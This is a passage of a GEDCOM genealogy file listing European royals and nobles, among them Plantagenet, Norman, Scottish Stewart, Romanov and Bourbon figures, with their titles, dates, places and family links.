DEAT\n2 DATE        1460\n1 FAMS @F490@\n1 FAMC @F372@\n0 @I1343@ INDI\n1 NAME Eleanor  /De_Bohun/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE  3 OCT 1399\n2 PLAC Barking Abbey,Essex,England\n1 FAMS @F491@\n1 FAMC @F912@\n0 @I1344@ INDI\n1 NAME Roger  /Mortimer/\n1 TITL Earl of March IV\n1 SEX M\n1 DEAT\n2 DATE        1398\n2 PLAC ,,,Ireland\n1 FAMS @F492@\n1 FAMC @F494@\n0 @I1345@ INDI\n1 NAME Eleanor  /Holland/\n1 SEX F\n1 DEAT\n2 DATE        1405\n1 FAMS @F492@\n1 FAMS @F1058@\n1 FAMC @F1057@\n0 @I1346@ INDI\n1 NAME Edmund  /Mortimer/\n1 TITL Earl of March\n1 SEX M\n1 DEAT\n2 DATE        1425\n1 FAMS @F536@\n1 FAMC @F492@\n0 @I1347@ INDI\n1 NAME Violante of_Milan /Visconti/\n1 SEX F\n1 DEAT\n2 DATE        1404\n1 FAMS @F493@\n1 FAMS @F904@\n1 FAMC @F903@\n0 @I1348@ INDI\n1 NAME Philippa of_Ulster //\n1 TITL Countess\n1 SEX F\n1 DEAT\n2 DATE        1382\n1 FAMS @F494@\n1 FAMC @F519@\n0 @I1349@ INDI\n1 NAME Edmund  /Mortimer/\n1 TITL Earl of March 3d\n1 SEX M\n1 DEAT\n2 DATE        1381\n1 FAMS @F494@\n1 FAMC @F795@\n0 @I1350@ INDI\n1 NAME Henry  /Stafford/\n1 TITL Sir\n1 SEX M\n1 DEAT\n2 DATE        1481\n1 FAMS @F495@\n0 @I1351@ INDI\n1 NAME Thomas  /Stanley/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1504\n1 FAMS @F496@\n0 @I1352@ INDI\n1 NAME Owen  /Tudor/\n1 SEX M\n1 DEAT\n2 DATE        1461\n1 FAMS @F497@\n1 FAMC @F976@\n0 @I1353@ INDI\n1 NAME Jasper  /Tudor/\n1 TITL Earl of Pembroke\n1 SEX M\n1 DEAT\n2 DATE        1495/1496\n1 FAMS @F537@\n1 FAMC @F497@\n0 @I1354@ INDI\n1 NAME Natalia  /Sheremetevskaya/\n1 SEX F\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1952\n1 FAMS @F498@\n0 @I1355@ INDI\n1 NAME Maria Pavlovna /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1958\n1 FAMS @F512@\n1 FAMC @F50@\n0 @I1356@ INDI\n1 NAME Olga  /Karnovich/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1866\n1 DEAT\n2 DATE        1929\n1 FAMS @F499@\n1 FAMC @F1382@\n0 @I1357@ INDI\n1 NAME Vladimir  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1896\n1 DEAT\n2 DATE        1918\n1 FAMC @F499@\n0 @I1358@ INDI\n1 NAME Natalie  /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1905\n1 FAMC @F499@\n0 @I1359@ INDI\n1 NAME Irina  /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1908\n1 FAMC @F499@\n0 @I1360@ INDI\n1 NAME George  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1910\n1 DEAT\n2 DATE        1931\n1 FAMC @F498@\n0 @I1361@ INDI\n1 NAME Peter of_Oldenburg //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1924\n1 FAMS @F500@\n0 @I1362@ INDI\n1 NAME Helen Vladimirovna of_Russia/Romanov/\n1 TITL Grand Duchess\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1957\n1 FAMS @F76@\n1 FAMC @F47@\n0 @I1363@ INDI\n1 NAME Charles of_Brunswick- Wolfenbuttel//\n1 TITL Duke\n1 SEX M\n1 FAMS @F501@\n0 @I1364@ INDI\n1 NAME John Lackland //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 24 DEC 1167\n2 PLAC Beaumont Palace,Oxford,England\n1 DEAT\n2 DATE 19 OCT 1216\n2 PLAC Newark Castle,Newark,Nottinghamshire,England\n1 BURI\n2 PLAC Worcester,Cathedral\n1 FAMS @F502@\n1 FAMS @F503@\n1 FAMC @F504@\n0 @I1365@ INDI\n1 NAME Isabella De_Clare of_Gloucester//\n1 TITL Countess\n1 SEX F\n1 DEAT\n2 DATE    NOV 1217\n1 FAMS @F502@\n1 FAMS @F774@\n1 FAMS @F775@\n1 FAMC @F773@\n0 @I1366@ INDI\n1 NAME Isabella of_Angouleme //\n1 SEX F\n1 BIRT\n2 DATE ABT    1188\n2 PLAC Angouleme\n1 DEAT\n2 DATE 31 MAY 1246\n2 PLAC Fontevraud\n1 BURI\n2 PLAC Fontevraud Abbey\n1 FAMS @F503@\n1 FAMS @F776@\n1 FAMC @F351@\n0 @I1367@ INDI\n1 NAME Richard  //\n1 TITL Earl of Cornwall\n1 SEX M\n1 BIRT\n2 DATE  5 JAN 1209\n2 PLAC Winchester,Castle,England\n1 DEAT\n2 DATE        1272\n2 PLAC Newark Castle,Newark,England\n1 BURI\n2 PLAC Worcester,Cathedral\n1 FAMS @F599@\n1 FAMS @F600@\n1 FAMS @F601@\n1 FAMC @F503@\n0 @I1368@ INDI\n1 NAME Joan  //\n1 SEX F\n1 BIRT\n2 DATE 22 JUL 1210\n2 PLAC Gloucester,England\n1 DEAT\n2 DATE  4 MAR 1238\n2 PLAC Near London,England\n1 FAMS @F781@\n1 FAMC @F503@\n0 @I1369@ INDI\n1 NAME Isabella  //\n1 SEX F\n1 BIRT\n2 DATE        1214\n2 PLAC Gloucester\n1 DEAT\n2 DATE  1 DEC 1241\n2 PLAC Foggia\n1 FAMS @F602@\n1 FAMC @F503@\n0 @I1370@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE        1215\n2 PLAC Gloucester\n1 DEAT\n2 DATE 13 APR 1275\n2 PLAC Montargis,France\n1 FAMS @F336@\n1 FAMS @F598@\n1 FAMC @F503@\n0 @I1371@ INDI\n1 NAME Henry_II Curtmantle //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 25 MAR 1133\n2 PLAC Le Mans\n1 DEAT\n2 DATE  6 JUL 1189\n2 PLAC Chinon\n1 BURI\n2 PLAC Fontevraud Abbey\n1 FAMS @F504@\n1 FAMC @F510@\n0 @I1372@ INDI\n1 NAME Eleanor of_Aquitaine //\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE ABT    1122\n2 PLAC Bordeaux/Berlin\n1 DEAT\n2 DATE  1 APR 1204\n2 PLAC Fontevraud\n1 BURI\n2 PLAC Fontevraud\n1 FAMS @F766@\n1 FAMS @F504@\n1 FAMC @F765@\n0 @I1373@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE 17 AUG 1152\n2 PLAC Normandy,England\n1 DEAT\n2 DATE ABT    APR 1156\n2 PLAC Wallingford,Castle,Berkshire,England\n1 FAMC @F504@\n0 @I1374@ INDI\n1 NAME Henry the_Young_King //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 28 FEB 1155\n2 PLAC Bermondsey\n1 DEAT\n2 DATE 11 JUN 1183\n2 PLAC Martel\n1 FAMS @F567@\n1 FAMC @F504@\n0 @I1375@ INDI\n1 NAME Matilda (Maud) //\n1 SEX F\n1 BIRT\n2 DATE        1156\n2 PLAC London,England\n1 DEAT\n2 DATE 28 JUN 1189\n2 PLAC Brunswick\n1 FAMS @F566@\n1 FAMC @F504@\n0 @I1376@ INDI\n1 NAME Richard_I Coeur_de_Lion //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE        1157\n2 PLAC Beaumont Palace,Oxford,England\n1 DEAT\n2 DATE  6 APR 1199\n2 PLAC Chalus,Limousin\n1 BURI\n2 PLAC Fontevraud Abbey\n1 FAMS @F565@\n1 FAMC @F504@\n0 @I1377@ INDI\n1 NAME Geoffrey  //\n1 TITL Duke of Brittany\n1 SEX M\n1 BIRT\n2 DATE 23 SEP 1158\n1 DEAT\n2 DATE 19 AUG 1186\n2 PLAC Paris\n1 FAMS @F563@\n1 FAMC @F504@\n0 @I1378@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE 13 OCT 1162\n2 PLAC Domfront,Normandy\n1 DEAT\n2 DATE 31 OCT 1214\n2 PLAC Burgos\n1 FAMS @F571@\n1 FAMC @F504@\n0 @I1379@ INDI\n1 NAME Joan  /Plantagenet/\n1 SEX F\n1 BIRT\n2 DATE    OCT 1165\n2 PLAC Angers\n1 DEAT\n2 DATE  4 SEP 1199\n1 FAMS @F590@\n1 FAMS @F591@\n1 FAMC @F504@\n0 @I1380@ INDI\n1 NAME William_I the_Conqueror //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE        1027/1028\n2 PLAC Falaise,Normandy,France\n1 DEAT\n2 DATE  7 SEP 1087\n2 PLAC Near Rouen,France\n1 BURI\n2 PLAC St Stephen Abbey,Caen,Normandy\n1 FAMS @F505@\n1 FAMC @F572@\n0 @I1381@ INDI\n1 NAME Matilda of_Flanders //\n1 SEX F\n1 BIRT\n2 DATE ABT    1031\n2 PLAC Flanders,France\n1 DEAT\n2 DATE  2 NOV 1083\n2 PLAC Caen\n1 BURI\n2 PLAC Holy Trinity,Abbey,Caen\n1 FAMS @F505@\n1 FAMC @F752@\n0 @I1382@ INDI\n1 NAME Robert Curthose //\n1 TITL Duke of Normandy\n1 SEX M\n1 BIRT\n2 DATE        1054\n2 PLAC Normandy,France\n1 DEAT\n2 DATE 10 FEB 1134\n2 PLAC Cardiff Castle\n1 FAMS @F753@\n1 FAMC @F505@\n0 @I1383@ INDI\n1 NAME Richard  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1055\n1 DEAT\n2 DATE ABT    1081\n2 PLAC New Forest\n1 FAMC @F505@\n0 @I1384@ INDI\n1 NAME William_II Rufus //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE        1056/1060\n2 PLAC Normandy,France\n1 DEAT\n2 DATE  2 AUG 1100\n2 PLAC New Forest\n1 BURI\n2 PLAC Winchester,Cathedral\n1 FAMC @F505@\n0 @I1385@ INDI\n1 NAME Cecilia of_Holy_Trinity //\n1 TITL Abess\n1 SEX F\n1 DEAT\n2 DATE 30 JUL 1126\n2 PLAC Caen\n1 FAMC @F505@\n0 @I1386@ INDI\n1 NAME Agatha  //\n1 SEX F\n1 FAMC @F505@\n0 @I1387@ INDI\n1 NAME Adeliza a_nun //\n1 SEX F\n1 FAMC @F505@\n0 @I1388@ INDI\n1 NAME Adela  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1062\n2 PLAC Normandy,France\n1 DEAT\n2 DATE  8 MAR 1137/1138\n2 PLAC Marcigny-sur-,Loire,France\n1 FAMS @F569@\n1 FAMC @F505@\n0 @I1389@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 FAMC @F505@\n0 @I1390@ INDI\n1 NAME Constance  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1066\n2 PLAC Normandy,France\n1 DEAT\n2 DATE 13 AUG 1090\n2 PLAC Brittany,France\n1 FAMS @F586@\n1 FAMC @F505@\n0 @I1391@ INDI\n1 NAME Henry_I Beauclerc //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE ABT    SEP 1068\n2 PLAC Selby,Yorkshire,England\n1 DEAT\n2 DATE  1 DEC 1135\n2 PLAC St Denis-le-,Fermont,Near Gisors\n1 BURI\n2 PLAC Reading Abbey\n1 FAMS @F506@\n1 FAMS @F507@\n1 FAMC @F505@\n0 @I1392@ INDI\n1 NAME Matilda (Edith) of_Scotland//\n1 SEX F\n1 BIRT\n2 DATE        1079/1080\n2 PLAC Dunfermline\n1 DEAT\n2 DATE  1 MAY 1118\n2 PLAC Westminster,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F506@\n1 FAMC @F568@\n0 @I1393@ INDI\n1 NAME Robert of_Gloucester //\n1 SEX M\n1 DEAT\n2 DATE        1147\n1 FAMC @F506@\n0 @I1394@ INDI\n1 NAME William  //\n1 TITL Duke of Normandy\n1 SEX M\n1 BIRT\n2 DATE BEF  5 AUG 1103\n2 PLAC Winchester\n1 DEAT\n2 DATE 25 NOV 1120\n1 FAMS @F759@\n1 FAMC @F506@\n0 @I1395@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1103/1104\n2 PLAC Winchester\n1 DEAT\n2 DATE 10 SEP 1167\n2 PLAC Rouen\n1 FAMS @F509@\n1 FAMS @F510@\n1 FAMC @F506@\n0 @I1396@ INDI\n1 NAME Adeliza of_Louvain //\n1 SEX F\n1 BIRT\n2 DATE ABT    1105\n2 PLAC Louvain,Belgium\n1 DEAT\n2 DATE ABT 23 APR 1151\n2 PLAC Afflighem,Flanders\n1 BURI\n2 PLAC Afflighem,Flanders\n1 FAMS @F507@\n1 FAMS @F625@\n1 FAMC @F756@\n0 @I1397@ INDI\n1 NAME Stephen  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE ABT    1096\n2 PLAC Blois,France\n1 DEAT\n2 DATE 25 OCT 1154\n2 PLAC Dover Castle\n1 BURI\n2 PLAC Faversham Abbey\n1 FAMS @F508@\n1 FAMC @F569@\n0 @I1398@ INDI\n1 NAME Matilda of_Boulogne //\n1 SEX F\n1 BIRT\n2 DATE ABT    1103/1105\n2 PLAC Boulogne\n1 DEAT\n2 DATE  3 MAY 1152\n2 PLAC Hedingham Castle,Essex,England\n1 BURI\n2 PLAC Faversham Abbey\n1 FAMS @F508@\n1 FAMC @F589@\n0 @I1399@ INDI\n1 NAME Baldwin  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1126\n1 DEAT\n2 DATE BEF  2 DEC 1135\n2 PLAC London,England\n1 FAMC @F508@\n0 @I1400@ INDI\n1 NAME Eustace of_Boulongne //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1130/1131\n1 DEAT\n2 DATE 10 AUG 1153\n2 PLAC Bury St Edmunds\n1 FAMS @F570@\n1 FAMC @F508@\n0 @I1401@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1133\n1 DEAT\n2 DATE ABT    1135\n1 FAMC @F508@\n0 @I1402@ INDI\n1 NAME William of_Boulogne //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE ABT    1134\n1 DEAT\n2 DATE 11 OCT 1159\n2 PLAC Toulouse\n1 FAMS @F587@\n1 FAMC @F508@\n0 @I1403@ INDI\n1 NAME Mary of_Boulogne //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE ABT    1136\n1 DEAT\n2 DATE        1182\n2 PLAC St Austrebert\n1 FAMS @F588@\n1 FAMC @F508@\n0 @I1404@ INDI\n1 NAME Henry_V  //\n1 TITL Holy Roman Empr\n1 SEX M\n1 BIRT\n2 DATE        1086\n1 DEAT\n2 DATE 23 MAY 1125\n2 PLAC Utrecht\n1 FAMS @F509@\n0 @I1405@ INDI\n1 NAME Geoffrey_V  /Plantagenet/\n1 TITL Count of Anjou\n1 SEX M\n1 DEAT\n2 DATE  7 SEP 1151\n2 PLAC Chateau-du-Loir\n1 FAMS @F510@\n0 @I1406@ INDI\n1 NAME Audrey  /Emery/\n1 SEX F\n1 BIRT\n2 DATE        1904\n1 FAMS @F511@\n1 FAMC @F1383@\n0 @I1407@ INDI\n1 NAME Paul  /Romanov/\n1 TITL Prince Ilynsky\n1 SEX M\n1 FAMC @F511@\n0 @I1408@ INDI\n1 NAME William  //\n1 TITL Prince of Sweden\n1 SEX M\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1965\n1 FAMS @F512@\n1 FAMC @F155@\n0 @I1409@ INDI\n1 NAME Lennart Gustaf Nicholas//\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE  8 MAY 1909\n2 PLAC Stockholm,Sweden\n1 FAMS @F1295@\n1 FAMS @F1296@\n1 FAMC @F512@\n0 @I1410@ INDI\n1 NAME Joan  //\n1 TITL Countess of Kent\n1 SEX F\n1 BIRT\n2 DATE 29 SEP 1328\n1 DEAT\n2 DATE  8 AUG 1385\n2 PLAC Wallingford,Castle,Berkshire,England\n1 FAMS @F901@\n1 FAMS @F513@\n1 FAMC @F564@\n0 @I1411@ INDI\n1 NAME Edward  //\n1 SEX M\n1 BIRT\n2 DATE 27 JAN 1365\n2 PLAC Angouleme\n1 DEAT\n2 DATE        1372\n2 PLAC Bordeaux,France\n1 FAMC @F513@\n0 @I1412@ INDI\n1 NAME Richard_II  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  6 JAN 1367\n2 PLAC Bordeaux,France\n1 DEAT\n2 DATE  6 JAN 1400\n2 PLAC Pontefract,Castle\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F514@\n1 FAMS @F515@\n1 FAMC @F513@\n0 @I1413@ INDI\n1 NAME Anne of_Bohemia //\n1 SEX F\n1 BIRT\n2 DATE 11 MAY 1366\n2 PLAC Prague\n1 DEAT\n2 DATE BEF  3 JUN 1394\n2 PLAC Sheen Palace\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F514@\n1 FAMC @F1066@\n0 @I1414@ INDI\n1 NAME Isabella of_France //\n1 SEX F\n1 BIRT\n2 DATE  9 NOV 1387\n2 PLAC Hotel du Louvre,Paris,France\n1 DEAT\n2 DATE 13 SEP 1409\n2 PLAC Blois\n1 BURI\n2 DATE ABT    1624\n2 PLAC Celestines,Paris\n1 FAMS @F515@\n1 FAMC @F915@\n0 @I1415@ INDI\n1 NAME Enguerrand_VII de_Courcy //\n1 TITL Earl of Bedford\n1 SEX M\n1 DEAT\n2 DATE        1396\n1 FAMS @F516@\n0 @I1416@ INDI\n1 NAME Constanza (Constance) //\n1 TITL Queen of Castile\n1 SEX F\n1 DEAT\n2 DATE 24 MAR 1394\n2 PLAC Leicester,England\n1 FAMS @F517@\n1 FAMC @F905@\n0 @I1417@ INDI\n1 NAME John 2d /Hastings/\n1 TITL Earl of Pembroke\n1 SEX M\n1 DEAT\n2 DATE        1375\n1 FAMS @F518@\n0 @I1418@ INDI\n1 NAME Elizabeth de_Burgh //\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE 10 DEC 1363\n2 PLAC Dublin\n1 FAMS @F519@\n1 FAMC @F902@\n0 @I1419@ INDI\n1 NAME Charles Frederick of_Holstein-//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1700\n1 DEAT\n2 DATE        1739\n1 FAMS @F473@\n0 @I1420@ INDI\n1 NAME Marie-Therese of_Spain //\n1 SEX F\n1 BIRT\n2 DATE 20 SEP 1638\n2 PLAC Madrid,Spain\n1 DEAT\n2 DATE 30 JUL 1683\n2 PLAC Versailles,France\n1 BURI\n2 PLAC St Denis\n1 FAMS @F523@\n1 FAMC @F948@\n0 @I1421@ INDI\n1 NAME Francoise d'Aubigne //\n1 SEX F\n1 BIRT\n2 DATE 27 NOV 1635\n2 PLAC Niort,France\n1 DEAT\n2 DATE 15 APR 1719\n2 PLAC St Cyr,France\n1 BURI\n2 PLAC St Cyr\n1 FAMS @F524@\n0 @I1422@ INDI\n1 NAME Louis_XV  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 15 FEB 1710\n2 PLAC Versailles,France\n1 DEAT\n2 DATE 10 MAY 1774\n2 PLAC Versailles,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F525@\n1 FAMC @F344@\n0 @I1423@ INDI\n1 NAME Maria of_Poland /Leczinska/\n1 SEX F\n1 BIRT\n2 DATE        1703\n1 DEAT\n2 DATE        1768\n1 FAMS @F525@\n1 FAMC @F1183@\n0 @I1424@ INDI\n1 NAME Louis_XVI  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 23 AUG 1754\n2 PLAC Versailles,France\n1 DEAT\n2 DATE 21 JAN 1793\n2 PLAC Paris,France\n1 BURI\n2 DATE        1815\n2 PLAC St Denis,France\n1 FAMS @F526@\n1 FAMC @F1185@\n0 @I1425@ INDI\n1 NAME Marie Antoinette of_Austria//\n1 SEX F\n1 BIRT\n2 DATE  2 NOV 1755\n2 PLAC Vienna,Austria\n1 DEAT\n2 DATE 16 OCT 1793\n2 PLAC Paris,France\n1 BURI\n2 DATE        1815\n2 PLAC St Denis,France\n1 FAMS @F526@\n0 @I1426@ INDI\n1 NAME Henry  /Brandon/\n1 TITL Earl of Lincoln\n1 SEX M\n1 BIRT\n2 DATE        1516\n1 DEAT\n2 DATE        1534\n1 FAMC @F318@\n0 @I1427@ INDI\n1 NAME Frances  /Brandon/\n1 SEX F\n1 BIRT\n2 DATE        1517\n1 DEAT\n2 DATE        1559\n1 FAMS @F527@\n1 FAMS @F935@\n1 FAMC @F318@\n0 @I1428@ INDI\n1 NAME Eleanor  /Brandon/\n1 SEX F\n1 DEAT\n2 DATE        1547\n1 FAMS @F934@\n1 FAMC @F318@\n0 @I1429@ INDI\n1 NAME Madeleine of_France //\n1 SEX F\n1 DEAT\n2 DATE        1537\n1 FAMS @F458@\n1 FAMC @F728@\n0 @I1430@ INDI\n1 NAME Henry  /Grey/\n1 TITL Duke of Suffolk\n1 SEX M\n1 DEAT\n2 DATE        1554\n1 FAMS @F527@\n0 @I1431@ INDI\n1 NAME Margaret  /Douglas/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1515\n1 DEAT\n2 DATE        1578\n1 FAMS @F528@\n1 FAMC @F529@\n0 @I1432@ INDI\n1 NAME Matthew  /Stuart/\n1 TITL Earl Lennox 4th\n1 SEX M\n1 BIRT\n2 DATE        1516\n1 DEAT\n2 DATE        1571\n1 FAMS @F528@\n1 FAMC @F551@\n0 @I1433@ INDI\n1 NAME Charles  /Stuart/\n1 TITL Earl Lennox 6th\n1 SEX M\n1 DEAT\n2 DATE        1576\n1 FAMS @F530@\n1 FAMC @F528@\n0 @I1434@ INDI\n1 NAME Elizabeth  /Cavendish/\n1 SEX F\n1 DEAT\n2 DATE        1581\n1 FAMS @F530@\n1 FAMC @F930@\n0 @I1435@ INDI\n1 NAME Arabella  /Stuart/\n1 SEX F\n1 DEAT\n2 DATE        1615\n1 FAMS @F531@\n1 FAMC @F530@\n0 @I1436@ INDI\n1 NAME William  /Seymour/\n1 TITL Duke Sommerset\n1 SEX M\n1 DEAT\n2 DATE        1660\n1 FAMS @F531@\n1 FAMS @F932@\n1 FAMC @F938@\n0 @I1437@ INDI\n1 NAME Thomas  /Beaufort/\n1 TITL Duke of Exeter\n1 SEX M\n1 FAMS @F917@\n1 FAMC @F485@\n0 @I1438@ INDI\n1 NAME Franz Josef of_Austria//\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE 18 AUG 1830\n2 PLAC Vienna,Austria\n1 DEAT\n2 DATE 21 NOV 1916\n1 FAMS @F532@\n1 FAMC @F1150@\n0 @I1439@ INDI\n1 NAME Rudolf  //\n1 TITL Archduke\n1 SEX M\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1889\n1 FAMC @F532@\n0 @I1440@ INDI\n1 NAME Daughter_1  //\n1 SEX F\n1 FAMC @F532@\n0 @I1441@ INDI\n1 NAME Daughter_2  //\n1 SEX F\n1 FAMC @F532@\n0 @I1442@ INDI\n1 NAME   //\n1 TITL duc d' Alencon\n1 SEX M\n1 FAMS @F533@\n0 @I1443@ INDI\n1 NAME Joan  /Holland/\n1 SEX F\n1 DEAT\n2 DATE        1434\n1 FAMS @F534@\n0 @I1444@ INDI\n1 NAME Maud  /Clifford/\n1 SEX F\n1 FAMS @F1074@\n1 FAMS @F535@\n1 FAMC @F1073@\n0 @I1445@ INDI\n1 NAME Anne  /Stafford/\n1 SEX F\n1 FAMS @F536@\n1 FAMC @F1059@\n0 @I1446@ INDI\n1 NAME Catherine  /Woodville/\n1 SEX F\n1 FAMS @F537@\n0 @I1447@ INDI\n1 NAME Robert_I  /Bruce/\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1274\n1 DEAT\n2 DATE        1329\n2 PLAC Cardoss Castle,Firth of Clyde,Scotland\n1 FAMS @F538@\n1 FAMS @F539@\n1 FAMC @F740@\n0 @I1448@ INDI\n1 NAME Isobel of_Mar //\n1 SEX F\n1 FAMS @F538@\n1 FAMC @F730@\n0 @I1449@ INDI\n1 NAME Margery  /Bruce/\n1 SEX F\n1 DEAT\n2 DATE        1316\n1 FAMS @F542@\n1 FAMC @F538@\n0 @I1450@ INDI\n1 NAME Elizabeth de_Burgh //\n1 SEX F\n1 DEAT\n2 DATE        1327\n1 FAMS @F539@\n1 FAMC @F548@\n0 @I1451@ INDI\n1 NAME David_II  /Bruce/\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1329\n1 DEAT\n2 DATE        1371\n1 FAMS @F540@\n1 FAMS @F541@\n1 FAMC @F539@\n0 @I1452@ INDI\n1 NAME Thored  //\n1 TITL Ealdorman\n1 SEX M\n1 FAMS @F697@\n1 FAMC @F698@\n0 @I1453@ INDI\n1 NAME Margaret  /Drummond/\n1 SEX F\n1 DEAT\n2 DATE        1375\n1 FAMS @F746@\n1 FAMS @F541@\n1 FAMC @F747@\n0 @I1454@ INDI\n1 NAME Walter  /Stewart/\n1 SEX M\n1 BIRT\n2 DATE        1292\n1 DEAT\n2 DATE        1326\n1 FAMS @F542@\n0 @I1455@ INDI\n1 NAME Robert_II  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1316\n1 DEAT\n2 DATE        1390\n1 FAMS @F543@\n1 FAMS @F545@\n1 FAMC @F542@\n0 @I1456@ INDI\n1 NAME Elizabeth of_Rowallan /Mure/\n1 SEX F\n1 FAMS @F543@\n1 FAMC @F731@\n0 @I1457@ INDI\n1 NAME Robert_III  //\n1 TITL King of Scotland\n1 SEX M\n1 FAMS @F544@\n1 FAMC @F543@\n0 @I1458@ INDI\n1 NAME Walter  //\n1 SEX M\n1 FAMC @F543@\n0 @I1459@ INDI\n1 NAME Robert  //\n1 TITL Earl of Fife\n1 SEX M\n1 FAMS @F554@\n1 FAMC @F543@\n0 @I1460@ INDI\n1 NAME Alexander  //\n1 SEX M\n1 FAMC @F543@\n0 @I1461@ INDI\n1 NAME Annabella  //\n1 SEX F\n1 DEAT\n2 DATE        1401\n1 FAMS @F544@\n1 FAMC @F737@\n0 @I1462@ INDI\n1 NAME David of_Rothesay //\n1 TITL Duke\n1 SEX M\n1 FAMC @F544@\n0 @I1463@ INDI\n1 NAME James_I  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1394\n2 PLAC Dunfermline,Scotland\n1 DEAT\n2 DATE        1437\n1 FAMS @F546@\n1 FAMC @F544@\n0 @I1464@ INDI\n1 NAME Euphemia of_Ross //\n1 SEX F\n1 FAMS @F545@\n1 FAMC @F732@\n0 @I1465@ INDI\n1 NAME Joan  /Beaufort/\n1 SEX F\n1 DEAT\n2 DATE        1445\n1 FAMS @F546@\n1 FAMS @F555@\n1 FAMC @F486@\n0 @I1466@ INDI\n1 NAME James_II  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1430\n2 PLAC Edinburgh,Scotland\n1 DEAT\n2 DATE        1460\n2 PLAC Roxburgh Castle,Scotland\n1 FAMS @F547@\n1 FAMC @F546@\n0 @I1467@ INDI\n1 NAME Marie of_Gueldres //\n1 SEX F\n1 DEAT\n2 DATE        1463\n1 FAMS @F547@\n1 FAMC @F738@\n0 @I1468@ INDI\n1 NAME John  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE        1455\n1 DEAT\n2 DATE        1513\n1 FAMS @F1343@\n1 FAMC @F739@\n0 @I1469@ INDI\n1 NAME Margaret of_Denmark //\n1 SEX F\n1 BIRT\n2 DATE ABT    1457\n1 DEAT\n2 DATE        1486\n1 FAMS @F460@\n1 FAMC @F739@\n0 @I1470@ INDI\n1 NAME Alexander  //\n1 TITL Duke of Albany\n1 SEX M\n1 BIRT\n2 DATE ABT    1454\n1 DEAT\n2 DATE        1485\n1 FAMS @F553@\n1 FAMS @F1344@\n1 FAMC @F547@\n0 @I1471@ INDI\n1 NAME John  //\n1 TITL Earl of Mar\n1 SEX M\n1 FAMC @F547@\n0 @I1472@ INDI\n1 NAME Mary  //\n1 SEX F\n1 FAMS @F315@\n1 FAMS @F549@\n1 FAMC @F547@\n0 @I1473@ INDI\n1 NAME Thomas  /Boyd/\n1 TITL Earl of Arran\n1 SEX M\n1 FAMS @F315@\n0 @I1474@ INDI\n1 NAME James  /Hamilton/\n1 TITL Lord 1st\n1 SEX M\n1 BIRT\n2 DATE        1479\n1 FAMS @F549@\n0 @I1475@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 FAMS @F550@\n1 FAMC @F549@\n0 @I1476@ INDI\n1 NAME James  /Hamilton/\n1 TITL Earl of Arran I\n1 SEX M\n1 BIRT\n2 DATE        1477\n1 DEAT\n2 DATE        1529\n1 FAMS @F556@\n1 FAMC @F549@\n0 @I1477@ INDI\n1 NAME Matthew  /Stewart/\n1 TITL Earl Lennox II\n1 SEX M\n1 FAMS @F550@\n0 @I1478@ INDI\n1 NAME John  /Stewart/\n1 TITL Earl Lennox III\n1 SEX M\n1 FAMS @F551@\n1 FAMC @F550@\n0 @I1479@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F551@\n0 @I1480@ INDI\n1 NAME John  /Stuart/\n1 TITL Lord d'Aubigny V\n1 SEX M\n1 FAMS @F552@\n1 